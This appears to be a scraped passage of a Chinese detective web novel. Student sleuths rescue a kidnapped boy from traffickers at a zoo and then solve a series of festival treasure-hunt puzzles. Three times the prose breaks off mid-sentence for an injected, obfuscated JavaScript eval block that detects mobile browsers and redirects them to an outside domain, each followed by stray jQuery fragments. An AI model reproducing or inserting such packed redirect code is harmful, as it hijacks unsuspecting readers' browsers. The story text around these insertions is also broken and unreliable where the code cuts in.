“唔……晒死了。”杜苓瑛用手挡着倾泻而下的刺眼阳光,走在去狮子山的路上,“……还有多远啊?”
“就快到了。”我看了看手中的园区地图,目光顺着“林野巡游环线”的游园列车路线,移到“栖峦狮魂”园区上,“还有大概三分钟的路程。”
“我怎么记得……我们之前来……走的不是这条路啊?”杜苓瑛抹了抹额头上的汗,气喘吁吁,“咱们……是不是绕远了。”
“当然要绕远。”我冲她指了指地图上的一片“敬请期待”,“我们之前走的那条最短的路正翻修着呢。”
“……我都说了,”杜苓瑛叹着气,“……我们观棋亦语侦探团……真是生不逢时啊……”
“这可太悲惨了。”谭深苦笑着附和。
顶着烈日走了有一阵子,我们终于来到了狮子山。
“好勒!”杜苓瑛斗志昂扬地站到那个售货机旁,伸出手臂,“向——北!”
她指向了一片黄灿灿的油菜花田……
我:“……”
谭深:“……”
杜苓瑛:“……这跟‘竹青’有个鬼关系啊?!”
她气恼地转开头,扬起手臂大叫起来。
“……其实我在吃三明治那会就想说了,”我一脸无奈地看着怒气冲冲的杜苓瑛,被脑海中隐隐的轰鸣声震得头疼,“虽然,南穗荣龙动物园宣称它在越湾区,但其实有五分之三以上的园区在花浦区——包括狮子山。而且……”
我指了指那个看上去很无辜的自助售货机:“这东西也不能体现‘硬币投高’的‘高’……”
“那你怎么不早说?”杜苓瑛立刻迁怒于我,我感到脑海中的轰鸣声更响了,“现在做事后诸葛亮有个鬼用啊?!”
“……可我也想不出别的说法嘛。”我耸了耸肩,“要是我当时只用这些反驳你,你会接受吗?”
“啧……”杜苓瑛不作声了,闷闷不乐地踢着脚边的石子。而就在这时——
“还我孩子!!!”
一声凄厉的女声划破空气,瞬间吸引了我们的注意,脑海中的轰鸣声逐渐远去。
我们三个抬头一看,只见一位年轻女子正死死拽住一名男子,丝毫不肯放手。
“干什么呢你!”那名穿着黑外套的男子扭动着手臂,试图挣开女子的钳制,“什么孩子?你可别乱说!”
“你还装?!”女子仍抓着男子不放,面容因愤怒而扭曲,“刚刚我明明看见,抢我孩子的人穿着一身黑。我一路追过来,一拐角看见的就是你!”
她深吸一口气,歇斯里底地冲男子嘶吼:
“我孩子在哪?!”
“我见都没见过你孩子!”男子挣扎着,突然冲我们转头,“喂!你们三个过来说句话啊!刚刚是不是我抢了她孩子?”
事情发生得太突然,我们三个一时都不知该如何应对。
“喂,怎么说啊?”杜苓瑛低声朝我们发问,语气焦急,“我刚刚都没注意到。”
“我也没看到,”我皱了皱眉,“但总不能放着他们两个纠缠吧?”
“那就……”谭深沉思了一会,大步朝还在争执的两人走去。
“用推理解决问题吧!”
“不好意思,我们刚刚没有留意到。但是——”
谭深瞥了一眼男子的黑外套。
“大哥,你大中午还穿着件外套,不热吗?”
“我刚从那边的5D电影院出来,那里的空调太冷了我才穿的外套。”男子没被抓住的那只手指向附近的影院,竭力辩解道,“我只是还没顾得上脱下而已!”
“那你自己说说看,这附近除了你,还有谁穿的跟你一样?”女子将男子抓得更紧,“我孩子呢?!”
“等一下,大姐。”我也走了过去,“您刚才是从哪一路追过来的?”
“他抢了我孩子后,一下就跑进了那条正在翻修的路。”女子朝身后被栅栏围住的黄泥路偏了偏头,“我就是从那追过来的。怎么了吗?”
在女子疑惑的目光中,我低头瞥了一眼男子,摇了摇头。
“不是他。”
“什么?”女子诧异地瞪大眼睛,“不是他,还能是谁?!”
我指向女子脚部:“大姐您看,您从正在翻修的路上追过来,鞋子和裤脚都沾到了黄泥。可是——”
我又指了指另外那名男子的脚部。
“他的鞋上、裤脚上都没沾到黄泥。按理说,短时间内是不可能擦得这么干净的。所以……”
“我就说嘛,大姐。”男子坦荡地把头一扬,“抢你孩子的不是我。”
“那是谁啊?!”女子还是不肯放开男子,看上去急得要哭出来了。
“或许我们可以查监控……咦?”杜苓瑛四处张望后,愣住了,“这怎么……一个监控都没有?”
“狮子山以外都是新建的园区,大概还没来得及安监控。”我也不断环顾着四周,咬了咬牙,“这下可就麻烦了。”
“谭深,你有什么办法吗?”杜苓瑛心急如焚,转头看向谭深,“谭深?”
只见谭深正一动不动,盯着前方那片油菜花田。
“你发什么呆呢?!”杜苓瑛冲他喊道,“快也想想办法!”
谭深没有转头,抬起手,指向那片油菜花田。
“你们看,那个园丁。”
“园丁?”杜苓瑛不解地朝花田张望,目光停在那个正拎着水管浇水的人身上。
“他浇花时,应该顾不上留意周围的情况吧?”我盯着那个穿白衬衫的身影,“我们得再找找其他人证……谭深?”
我重新转向谭深,却发现,他已经迅速朝那人跑去。
谭深跑到那人身旁,一把抓住他,冷着脸发问:
“你把孩子放哪了?”
“啊?什么啊?什么孩子?”在我还没从惊讶中缓过神来时,白衬衫已经剧烈地在谭深手里挣扎起来,偏头冲他大喊,“你干什么?放开我!”
“就是你抢了她的孩子吧?”谭深紧紧扯着他,试图把他从花田里拉出来,“你的鞋上和裤脚上都沾了黄泥,但这油菜花田的泥土可是黑的!你就是那个从翻修道路跑过来的人吧?!”
“你在胡说些什么?!”白衬衫一脸恼怒,开始用手肘往后反击,“我刚刚明明一直在这浇花!”
“就是这个‘浇花’!”谭深扭住那人的手臂,朝他的膝盖踢了一脚,用力把他抵在自助售货机上,“你身为园丁,难道不知道,中午浇花会导致强烈的阳光通过水珠聚焦,把花朵灼伤吗?!或者说——”
他狠狠把那人朝售货机上摁了摁,一字一顿:“你不是园丁。”
“可是……我刚刚看见的那人是一身黑的。”匆匆赶来的女子看着假园丁,语气有些迟疑,“可这人穿着白衬衫啊?”
“但他穿了黑色长裤对吧?”谭深仍死命制住那人不放,“只要脱下黑色外套扔到一边,不也能变成这样吗——就像演员转换器一样。”
“总之——总之我不知道你在说什么!”那人还是不肯松口。
“我叫人来了!”正在僵持之时,一开始被误认为人贩子的男子跑了过来,还带着几个保安,“就是他吗?”
“是的。”谭深把假园丁推给保安,转向女子,“您向他们解释吧,我继续找孩子——你们孩子叫什么名字?是男是女?穿什么颜色的衣服?”
“我平时都叫他小冬。”念到孩子的小名,女子眼里开始噙满泪水,“他是个男孩子,穿着淡褐色的衣服。”
“好的,我知道了。”谭深深吸一口气,跑到油菜花田深处,开始大喊——
“小冬——”“小冬!”“小——冬——”
正午阳光热辣辣地炙烤着大地,在金黄色的油菜花田上绽放出晃眼的光辉。接连不断的热气升腾而起,将这片灿烂变得扭曲。
放眼望去,四周皆是明晃晃的黄,丝毫不见一抹带着希望的淡褐色。头顶不断打转的蓝天,冲上鼻腔的油菜花香,仿佛就要沸腾的空气,统统都撞入了颅内,在神经元里跳着疯狂的舞蹈。
我的声音,艾怡芊的声音,杜苓瑛的声音,年轻母亲焦急的声音,一开始遭到误会的男子的声音,保安们的声音……
各种声音碰撞着、冲击着,在花田上空回荡。与菜蝶胡乱扑翅的“簌簌”声,和蜜蜂横冲直撞的“嗡嗡”声混在一起,同铺满了眼底的金黄,及头上刺眼的鲜蓝旋转在一起。
晕头转向,头昏脑涨,汗如雨下……我喘着粗气,在濒临绝望的麻木中走到了油菜花田的边缘,脚突然踢到了什么东西。
我慌忙带着惊喜低下头去——
是一件黑色的外套,大概就是那个白衬衫脱下的那件。
我一脚将外套踢开,比失落更多的是愤怒。
抹了把脸上的汗,我看向油菜花田外还未种上花卉的泥田。
尽管此刻阳光毒辣,但因为早上刚下过雨,而且上午几乎是阴天,所以田里的水分还未蒸发殆尽。
但是在泥泞中,一个脚印也没有——没有人从这离开过。
我机械地转身,然后又猛然转了回去——
白衬衫的外套出现在了这里,说明他来过此处。但他既没有把小冬藏在这,也没有走上泥田,那他来这到底是……
记忆中的轰鸣声,于脑海中再一次响起。
我俯下身观察,只见油菜花田边缘与泥田之间,夹着一道铁轨。
啧……我真是个傻逼,明明上次和谭鱼悦来的时候,还兴高采烈地在里面坐过啊……
“艾怡芊!杜苓瑛!”我冲他们两个奔了回去。
“小冬不在这里了——他应该被用游园列车运走了!”
南穗荣龙动物园,跟大多数动物园一样,都有着自动游园列车。游园列车每半个小时发一趟车,行驶速度比人使劲跑的速度稍快,绕园内一周,全程大概一个小时。
人贩子一般是组织犯案,除了这个假园丁,大概还有共犯。而共犯很可能搭上了游园列车,接应抢来孩子的假园丁,把孩子从车窗拐进车厢里运走了。
“游园列车站的人员注意!游园列车站的人员注意!”听了我的分析后,领头的保安立马拿起对讲机,“人贩子极有可能携孩子从此处下车!注意——救孩子在先,抓人在后!”
说完,他迅速领
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076863|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着其他保安向前方跑去。
“喂!”见他们离去,我连忙追上前,冲他们大喊,“等等!!!”
可保安们已经和我拉开一段距离,消失在拐角处了。
“啧,就不能听我说几句吗?!”见追赶无望,我停在原地,愤恨地一跺脚,“既然这帮人贩子都能想到通过游园列车转移孩子,他们难道还会傻傻地到站下车吗?肯定会从中途下车跑掉啊!应该在轨道周围都布置人员……”
“从这片油菜花田出去后,会有一段悬空轨道。”艾怡芊追到我身旁,冲我指着地图,“这段悬空轨道要到森林餐厅才结束悬空——人贩子很可能就会在那下车!”
“那还不赶紧追?!”我头也不回,立刻沿着轨道冲了出去。
银灰色的轨道在眼前蔓延开来,我使劲向前跑着,任由炽热的风刮过脸庞。
“列车从花田到森林餐厅……大概需要二十分钟……”艾怡芊夹着喘气的声音从身后传来,“我们刚刚……花了大概十五分钟。只剩五分钟了……我们不可能……”
“把地图给我。”我回头,一把抢过艾怡芊手中的地图,“我们抄近路!”
我跃过“前方施工”的牌子,在黄泥路上飞速奔跑。
“呼……就算……”迎着飞溅起的泥点,艾怡芊咬紧牙关挤出的声音再次传来,“就算你跑这……顶多节省五分钟……我们还是……”
“谭深……”杜苓瑛似乎已经拼尽全力的声音从更后方传来,“从……从……绣华湖上的‘蜻蜓点水’冲过去……”
绣华湖是荣龙动物园的中心,有一个水上项目叫“蜻蜓点水”。游玩者将踩着湖上一排漂浮着的木块,尝试到达对岸。这个项目中午不开放,正如杜苓瑛所说,它确实是一条通往对岸森林餐厅的水上捷径。
本来,“蜻蜓点水”需要穿着连有吊索的安全服通过,但现在顾不了这么多了。
鞋踏到木板上的声音格外响亮,在湖面荡起一片又一片的涟漪。水花飞溅着,迅疾地从耳畔掠过。
“掉下去怎么办”这种想法在脑海中浮现的一瞬,我便立刻咬紧牙关,把它压了下去。
别管那么多,冲就是了!
听脚步声,身后的两人似乎已经被我拉开了一段距离,但我无暇顾及他们,只是一个劲地埋头往前赶路。
愈发急促的呼吸下,随着一簇簇水花溅开的声音,对岸的树林越来越近。
“列车……”艾怡芊的喊声从身后传来,“还有一分钟……”
按这个速度,一分钟可能赶不上,必须要全速冲刺了!
我握紧双拳,咬了咬牙,加快摆臂速度,在最后的那块木板上纵身一跃——
承受着从脚底传来的碰撞感,坚实的土地终于重新回到了脚下。眼前,森林餐厅的轮廓显现出来,同时出现的还有那道倾斜在半空中的轨道。
逐渐变得清晰的轰鸣声中,游园列车从轨道上徐徐前来。
“快!”我顾不得身后两人是否能听到,在周围的嘈杂中使劲大喊,“再快些!”
与餐厅这边的热闹相比,铁轨另一边比较冷清,人贩子应该会选择在那里接应。
这样想着,我冲上前,伸手在护栏上一撑,跃进铁轨,在列车前几十米处冲过。
此时此刻,我瞥见一个黑衣人从车窗里翻身出来,接过车厢里另一个黑衣人手中的行李箱。同时,车厢中的那个黑衣人也翻可出来。
听到脚步声,他们一齐向我看来。
“停下!”我厉声冲他们喝道。
那两人见我奔过来,大惊失色,立马拽着行李箱就要跑。
我冲上去,猛地朝前一扑,把那个拎着行李箱的人摁倒在地。那人使劲挣扎着,蹬了我一脚,抓住我的肩膀把我推开,爬起身朝他的同伙跑去。
我没有追过去,忍着腹部传来的疼痛,一把扑向他丢下的行李箱,用力扳着拉链上的锁。
混账!这么鬼热还用行李箱,是想把孩子闷死吗?!
“谭深!”艾怡芊追了上来,“你还好吗?我拍到他们的照片了!”
“行李箱锁上了!”我没有抬头,简单陈述完情况后,一手扯住拉链扣,一手拨转着密码,试图通过张力判断密码点。
可恶!就算通过这种方法,要破解出三位密码,也需要一定时间……
我不想再看到有人在我面前死去了。
“谭深!”焦急万分中,杜苓瑛气喘吁吁的声音传来,“你让一下……”
我迟疑着抬起头,只见杜苓瑛一边跑一边摘下书包,从里面抽出——
一把明晃晃的剪刀。
我往后退开。冲上前的杜苓瑛趴在行李箱旁,握着那把剪刀,往拉链齿旁的尼龙布刺戳。
“你小心点!”我慌忙喊道,“别伤到孩子!”
杜苓瑛没有回应,仍低头摆弄着剪刀,寻找受力点……
“唰拉——”
随着第一个破损处的出现,剪刀一路往下,在整条拉链上撕开了长长的一道口子。
我立马扑上去,把行李箱往两边一掰——
一个大约三四岁的男孩子,躺在箱子内昏迷不醒。
他穿着的短袖是淡褐色的。
26.(5)回归主线
“我要吃雪糕,巧克力味。”
“我也要!海盐味的!”
拨开浸满汗水的发丝,我兴冲冲地从对面一脸无语的警官手中,接过递来的海盐味雪糕。而一旁的谭深已经撕开自己那份的包装,在巧克力味的雪糕上咬了一大口。
“你们……算了。”艾怡芊想说什么,但终究没有说。他自己也拿了根芒果味雪糕,和我们一起坐在了动物园小卖部前的长椅上。
“谢谢你们……”小冬母亲抱着小冬,笑容中还残留着泪水,“真的谢谢你们……”
经初步检查,小冬昏迷是收到了人贩子迷药的影响,但总体无大碍。具体情况,还要等待救护车到来,送往医院进行专业检查才能得出。
在这段等待时间里,小冬母亲和我们一起坐在此处,接受了这位警官的基本询问。而就在刚才,我们才被允许可以先行离开。
“没什么啦,不用客气的。”谭深大方地一摆手,”我们也不需要什么回报——”
买雪糕的警官瞪了他一眼。
“——不过我们想请您……”谭深调皮地笑了笑,“帮忙解个谜。”
“‘越湾巅狮,硬币投高,向北竹青’?”小冬母亲重复了一遍。
“是的,拜托您给我们提供点意见——这可是关系到我们侦探团的声誉的啊!”谭深一脸认真地提出请求——要不要这么中二?
一旁的警官再次瞥了他一眼。
“唔……我想想……”小冬母亲思索片刻,看向小卖部货架上的一只只塑胶狮子摆件,“会不会……这‘巅狮’不是真的狮子,是石狮子?”
对欸!我怎么就没想到?!
“‘越湾巅狮’……可能指的就是在越湾区的省人民政府前的石狮子。”小冬母亲微笑着,继续说出自己的想法,“毕竟在越湾区,可没有再比它高的狮子了啊。人民法院前的不是狮子,是獬豸。而人民代表大会厅前面的也不是狮子——是貔貅还是麒麟来着?我也记不清了。”
“省人民政府么……”谭深想了想,一拍双手,“啊,我想到了,那附近就是悟元宫!悟元宫里有个硬币塔,许多去拜神的人都会朝那个塔扔硬币,说是如果能把硬币通过塔上的小窗扔进塔内,就能获得好运。这就是‘硬币投高’!”
“悟元宫……我也想起来了!”我双眼放光,“悟元宫主殿后面,确实有一片竹林!而悟元宫坐北朝南,所以这应该就是‘向北竹青’了!”
“从这去到悟元宫大概需要一个小时,现在已经……”艾怡芊又看了看表,“快三点了。”
找到小冬时是两点左右,而后来我们又被警官揪住,要求现场描述黑衣人的外貌特征——其实根本没必要,因为在大约半个小时后,警察就根据艾怡芊当时及时拍下的照片,追上并抓住了那两人。
“好,咱们动身吧!”谭深把手中的包装纸揉成一团,再次精准抛入垃圾箱中。
他刚要起身,一旁买雪糕的警官突然发话了:
“喂,谭深。”这位警官不苟言笑,看上去大概三十来岁,“你到底在干什么?”
此刻,警官眉宇间的疲惫和稳重,使他给人一种四十多岁的感觉。
嗯?等等,我们三个好像都没说自己叫什么吧?其他警察也是把我们当普通路人看的。
“还能干什么啊?”谭深不屑置辩地一笑,“侦探游戏呗。郑……我应该叫你哥还是叔?”
“警官。”郑警官语气冷淡。
“什么?”我惊诧地看向谭深,小声发问,“谭深你认识他?”
“是啊,郑警官是我……”谭深停下话头,想了想,“熟人的熟人?”
“算是吧。”郑警官仍然板着脸,“侦探游戏是吗?那就继续玩吧,但是——”
他的眼神猛然凌厉:“什么事情跟你没关系,你自己要清楚。有些事,用不着你管。”
从郑警官的神情来看,他说的好像并不是我们追回孩子这件事。
“可是……”谭深丝毫没有被郑警官的威慑所影响,还是一副懒洋洋的样子,“要是我认为这些事跟我有关系呢?”
“我说的很清楚了——”郑警官语气严厉,重重地强调了一遍,“跟、你、没、关、系!”
他起身欲走,但突然像被什么东西牵住了似的,生生地回过头来。
他朝我们这边看了一会,眉头一皱:“你是叫……赵……”
他盯着的是艾怡芊。
“……艾怡芊,对吧?”郑警官把话说完。
艾怡芊一愣,也微微皱眉:“……是。”
“哦。”郑警官应了一声,然后又跟想起什么似的补了一句,“谭深跟我提起过你。”
他解释完后,下意识般理了理衣服下摆。
“怎么?”谭深往椅背上一倚,放在脑后的手捋了捋头发,“你又要和别人宣传警校吗?”
呵呵,该说是物以类聚吗。观察片刻后,我使劲忍住冷笑的冲动。
“不,我只想找个人提醒一下你,别玩侦探游戏玩得太过火了。”郑警官简单地说完,又理了理衣领,转过身去,“你姐又没时间管你。”
“哦,”谭深笑着冲走开的郑警官喊,“那还真是辛苦您了!”
艾怡芊死死盯着郑警官的背影,眼神晦暗。
“啊,对了。”郑警官再次停下,看向小东母亲,“您最好也告诉他们——”
他指了指我们对面桌的几位警察。
“——您丈夫的联系方式。”郑警官补充道,“以便我们能及时联系他。”
小东母亲轻轻一笑,抚摸着左手中指上一枚普通的金色戒指。
“我丈夫是个卡车司机,在车祸中丧生了。”
“哦,抱歉……”郑警官移开目光,“请您节哀。”
说完,他便匆匆离开了。
我叹了口气,把包装纸叠了几下,顺利抛入垃圾箱中,也站起身来。
“走吧,”我把手插进卫衣兜里,“去悟元宫。”
“真的非常感谢你们……”在艾怡芊和谭深站起来时,小冬母亲再一次重复道。
“不用谢。”我笑了笑,走上前,对着小冬俯下身子,“希望您和小冬以后的人生……”
我看着小冬淡褐色的衣服,轻声祝福:
“能充满廉价但璀璨的魔法。”
由于临近节日的缘故,悟元宫人烟熙攘,香火鼎盛。我们三个好不容易,才在拥挤的人流中通过,到达了悟元宫主殿。
“‘硬币投高,向北竹青’……”我念叨着,向主殿旁的小径走去,“前面就是那片竹林了!”
踏着遍布青苔的石板路,竹叶的清香混合着泥土的气息,伴随着微风迎面扑来。
“这次应该没错了,但是……”艾怡芊环顾四周,“我们总不能一根竹子一根竹子地找吧……呃。”
他停住了话头——看来他和我一样,都注意到了主殿柱子旁,范晚枫探出的半个头。
“呃……不好意思,”被发现后,范晚枫带着小心翼翼的微笑,从藏身处离开,走上前来,“我本来……打算吓你们一跳的。”
他很有礼貌地说出了自己没礼貌的计划。
“你是来补充提示的吧?”谭深已经见怪不怪了,“请说吧。”
“好的,”范晚枫听话地点了点头,“我先告诉你们下一个地点的大致方位——在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105397|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纱华路。至于具体位置……”
他指了指地面——深褐色的泥土上,六颗鹅卵石整齐地排成一列。
除了那一颗全黑的鹅卵石以外,其它五颗卵石或多或少都被刷上了白漆:有的只被刷了几笔,有的被刷了大半,还有一颗直接被刷满了。
“具体的位置……”范晚枫笑着重复了一遍,蹲下身子,“就是这一个。”
他敲了敲那唯一一颗全黑的鹅卵石。
“唔………“杜苓瑛抱膝蹲在那排卵石旁,皱眉苦思,“这次的谜题答案...…总不能就是‘黑’吧?”
“应该不是,“谭深翻看着手机,摇头否定道,“纱华路没有带''黑’字的地址。”
“那还能怎么解?”杜苓瑛叹了口气,“我感觉这谜题比上一个还要无厘头!”
“我想,”谭深沉吟着,目光落在其它几块卵石上,“既然这五块有白漆的卵石,也被包括在了谜题内容里,那它们一定也有意义。”
“这我知道,“杜苓瑛开始把每一块卵石翻来覆去,“问题是这意义到底是什么?”
“卵石底部没有提示。”范晚枫看着翻卵石的杜苓瑛,好心提醒道,“你们只需要看它们刷白漆的那一面。卵石的花紋也没有任何意义。”他又对贴近卵石研究的谭深补充了一句。
“难不成..…”杜苓瑛不再折磨那些卵石,开始思索,“跟它们的顺序有关?”
她把手在卵石列上一挥:“这一套顺序,能被放到某个密码对应表上。而这颗黑卵石对应的密码,就和我们要去的地点有关。”
“但我们首先得找到那个密码对应表,”我盯着那排鹅卵石,感觉眼睛有些发酸,“既然这谜题被布置在了悟元宫,密码对应表很可能与道教文化有关。”
“有道理……”杜苓瑛出神地喃喃道,“可能是阴阳平衡……或者卦象那些东西。”
在杜苓瑛和谭深讨论密码对应表时,由于长时间盯着那一排黑白两色,我终于忍不住伸手揉了揉眼睛。
而后,于再次睁眼时的一瞬间视线模糊中,我看着那六颗朦胧的卵石,突然联想到了什么。
“等一下,“我叫住正在手机上研究风水的两人,“你们再看看那排卵石——眯起眼睛看。”
在他们的迷惑中,我说出我的发现:“是不是很像不同的月相图?”
“真的欸!”
听完我的解释,杜苓瑛恍然大悟般点了点头。
“不同的黑白比例,就对应着月亮的阴晴圆缺。”
“这次的谜题总算有点节日气息了。”潭深苦笑了下。
“不只有这个谜题,”范晚枫纠正道,“杏流玥出的灯谜也扣题中秋了。”
“但是它唤起了我的历史恐惧症。”杜苓瑛咕哝着,往那颗全黑卵石泄愤般一戳,“不过,虽然我的地理一样垃圾到不行,但我也能判断出它代表没有月亮的夜晚。”
“离这一天最近的无月夜是……”我按下手机上的搜索键,“8月19日。这个日期……”
“应该就是下个地点的门牌号了。”潭深接过话头,“纱华路19号……是古芳书店。”
没想到,我们竟然从错误的过程中歪打正着,得出了很可能正确的答案。
“既然你们已经得出自己的答案了,就赶紧出发吧。”一直安静站在旁边的范晚枫提醒道,“按照你们现在的进度,很有可能会因为超时而导致挑战失败。”
“好像确实是这样,”杜苓瑛看了眼手表,刚才的雀跃立刻被紧张所取代,“现在已经快四点了,我们得抓紧!”
于是,我们便告别了迄今为止最正常的谜题NPC,全速赶往了下一个地点。
27.(6)压轴一问
纱华路上空挂满了灯笼,使本就繁华的街道充满了红火的节日气息。
古芳书店没有关门,逛店的顾客络绎不绝。
“来来来,古芳书店举行百科知识挑战活动啦!”
书店门外,一位拿着话筒的主持人被护栏围着,站在一大块空地中央,正卖力地大声宣传着。
“奖品丰富,只要凑齐两人一组就可以报名!想参加的朋友们可以……”
“这书店那么厉害?还有活动呢!”主持人的介绍声中,杜苓瑛惊叹道,“而且……”
她仰起头,观望着这座三层书店。
“它的规模和这个活动一样大型,跟我们学校的图书馆差不多了吧?”
“书店二楼还有个文创咖啡厅。”艾怡芊在手机上翻看着介绍,“朝闻社的人有可能会在那等,我们快进去吧。”
果不其然,就在那间咖啡厅中,我们找到了正在埋头写卷子的柯烛辉。
“怎么还有人在内卷啊?”杜苓瑛戏谑地笑着,抱起了手臂。
“我也没办法啊………“
面对杜苓瑛的揶揄,柯烛辉扔下笔,长长地叹出一口气。
“因为我跟我妈的说法是到书店自习一整天。”
“啊,彼此彼此。”杜苓瑛放下手臂,表情顿时转变为同情,“我的说法是去图书馆。”
“你的手机应该有定位吧?”我提醒道。
“呃……这是我自己买的备用机啦。”
杜苓瑛移开目光,似乎有些不好意思。
“不过我书包里确实被偷偷放了定位器,但我已经把它和那一大堆卷子一起,塞图书馆里了。”
“……不愧是你。”
我感到佩服的点,主要在于她能发现被偷放进去的定位器。
“这已经是最后一个谜题了。”柯烛辉打断了我们的闲聊,递出一张纸,“你们抓紧时间解谜吧,时间已经不太多了。”
他瞥了眼自己腕上的手表——指针显示的时间将近五点。
“好!”
我充满干劲地应声,接过那张纸。
“那就让我们速通压轴题吧。”
I-E,X+Y,K+M,N+Q,P+V,F-C,D+J。
“……”
我盯着那张纸看,刚才的干劲消失了。
“你和杏流玥泽墨梓他们有异曲同工之妙啊。”
“这谜题应该没他们出的那么难吧?”柯烛辉有些紧张地转着笔,“我感觉自己出得很垃圾。”
“那可能是我自己太垃圾了吧……”我叹了口气。
“从这些加减号来看,这串字母应该代表着数字。”杜苓瑛捏着下巴想,“那我们可以把它们套进字母表,浅浅试一下……可以借一下你的笔吗?”
“啊?”发呆的柯烛辉先是愣了一下,然后菜反应过来,“可以。”
接过柯烛辉的笔,杜苓瑛便另找了一张桌子坐下,开始按刚刚的方法翻译……
9-5,24+25,11+13,19+17,16+22,6-3,4+10。
4,49,24,36,38,3,14。
“嗯……”杜苓瑛盯着这串似乎毫无意义的数字,满脸为难,“然后……”
“呃,顺带一提……”
柯烛辉从卷子上抬起头,看向我们。
“这串密码解出来的结果是书店里一本书的英文名字,下个地点的名称就在那本书里面夹着。”
“看来我这样解是错的……”杜苓瑛看了眼这串与书名无缘的数字,垂头丧气地低下头。
“你的思路应该没错,”艾怡芊分析道,“这串字母大概只能解出数字,然后我们应该再把数字解成字母,得出英文书名。”
“那要不……”杜苓瑛提议道,“我们再试试键盘?超出26的就再从头数过。”
她开始按键盘上的字母顺序解谜……
R,V,B,P,S,E,F。
看着这七个不知所云的字母,她苦恼地划掉了刚刚写下的所有内容。
“或许你解谜的顺序反了。”艾怡芊在杜苓瑛对面坐了下来,“我们先用键盘解吧。”
他拿过纸和笔,开始了新一轮的翻译……
8-3,21+6,18+26,12+1,10+23,14-22,13+17。
5,27,44,13,33,-8,30。
“负数……”
我盯着那个“-8”,心中已经有了翻译失败的预感。
“算了,说不定它解出来有意义呢?”艾怡芊皱了皱眉,“先套进字母表试试吧。”
他自我安慰着,又开始在纸上写了起来。
“把负八理解成倒数第八个。”
E,A,R,N,G,S,D
“……”
艾怡芊沉默了。
“好吧,确实毫无意义。”
“如此看来,人不会两次使用同一个套路。”杜苓瑛扶了扶额,“杏流玥和泽墨梓的创意不会被重复。”
“没错,”我苦笑着附和,“但是……”
我坐下来,把手机放在桌上,摁出键盘。
“说不定,这谜题用的是另一个键盘呢?”
屏幕上显示的键盘是九宫格键盘。
“先把这串密码套进字母表,再用九宫格键盘试试。”
我把纸和笔拿了过去,辨认着杜苓瑛划去的内容——毕竟我真的很讨厌计算。
杜苓瑛最开始用字母表解出的结果是:4,49,24,36,38,3,14。
把它们套进九宫格键盘的顺序,就能得出……
G……
我手中的笔顿住了,下意识划掉了那个“G”。
等一下,每个格子里至少有三个字母,我到底该选哪一个?
“呃……谭深,”
艾怡芊看了眼我茫然的样子,提出建议:
“或许你要把翻译顺序反过来——先套进九宫格键盘,再用字母表。”
“有道理,”我把笔在指尖打了个转,划掉刚才的内容,“再来一次吧……但愿这是最后一次了。”
4-3,9+9,5+6, 7+7,7+8,3-2,3+5。
1,18,11,14,15,1,8。
“接下来再套到字母表里,”我继续在纸上写着,心中暗暗祈祷,“要是这次的推理还不对……”
“我们就可以去推理猜测朝闻社的惩罚了。”艾怡芊如是调侃。
拜托了,这次一定要解对啊!
趁艾怡芊和谭深还在专心致志地研究,我站起身来,走向柯烛辉。
“嗯?”
见我走过来,柯烛辉疑惑地抬起头。
“你们解出来了吗?”
“不不不,还没那么快呢。”我耸了耸肩,故作轻松道,“不过……”
我轻轻一笑:“在他们得出结果之前,我想先问你一个问题。”
“A……”谭深吃力解题的声音传了过来,“R……”
“什么问题?”柯烛辉挑了挑眉,“要是跟谜题答案有关的话,我无可奉告。”
“放心,我不会作弊啦。”我坦荡地摆摆手,“我要问的是……”
“……K……N?”谭深的话音再次从身后响起,“这符合自然拼读规律吗?”
“先往下解吧。”艾怡芊的语气听上去很无奈。
我稍稍偏头,瞥了眼艾怡芊和谭深的背影。
确认他们留意不到这边的情况后,我俯下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111367|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身,压低声音:
“上个星期五,也就是掠夜彗星贝斯被砸的那一天。”
如我所料,听到这句话,柯烛辉的脸色微微变化。
我盯住他流露不安的双眼,继续说下去——
“你在南梯楼梯间里,到底看见了什么?”
“……”
柯烛辉抿了抿嘴唇,表现出肉眼可见的紧张。
我仍一动不动地盯着他。
“和艾怡芊有关,对吧?”
他的目光颤了一下,双眼略微睁大。
而这一微表情已经给了我足够的回答。
据那天筱玲珑的自述,她在掠夜彗星刚离开的时候,跑出202,来到了206摇滚社,然后被后一步到来的齐海瑷吓跑了。
在这之后,她跑下北梯,从一楼绕上南梯,又回到了二楼。
而据容柃的证词,柯烛辉回来之前,他抬头看到了从201窗前经过的筱玲珑。
如此看来,如果柯烛辉一直待在二楼,筱玲珑跑回来时,肯定能撞见他。
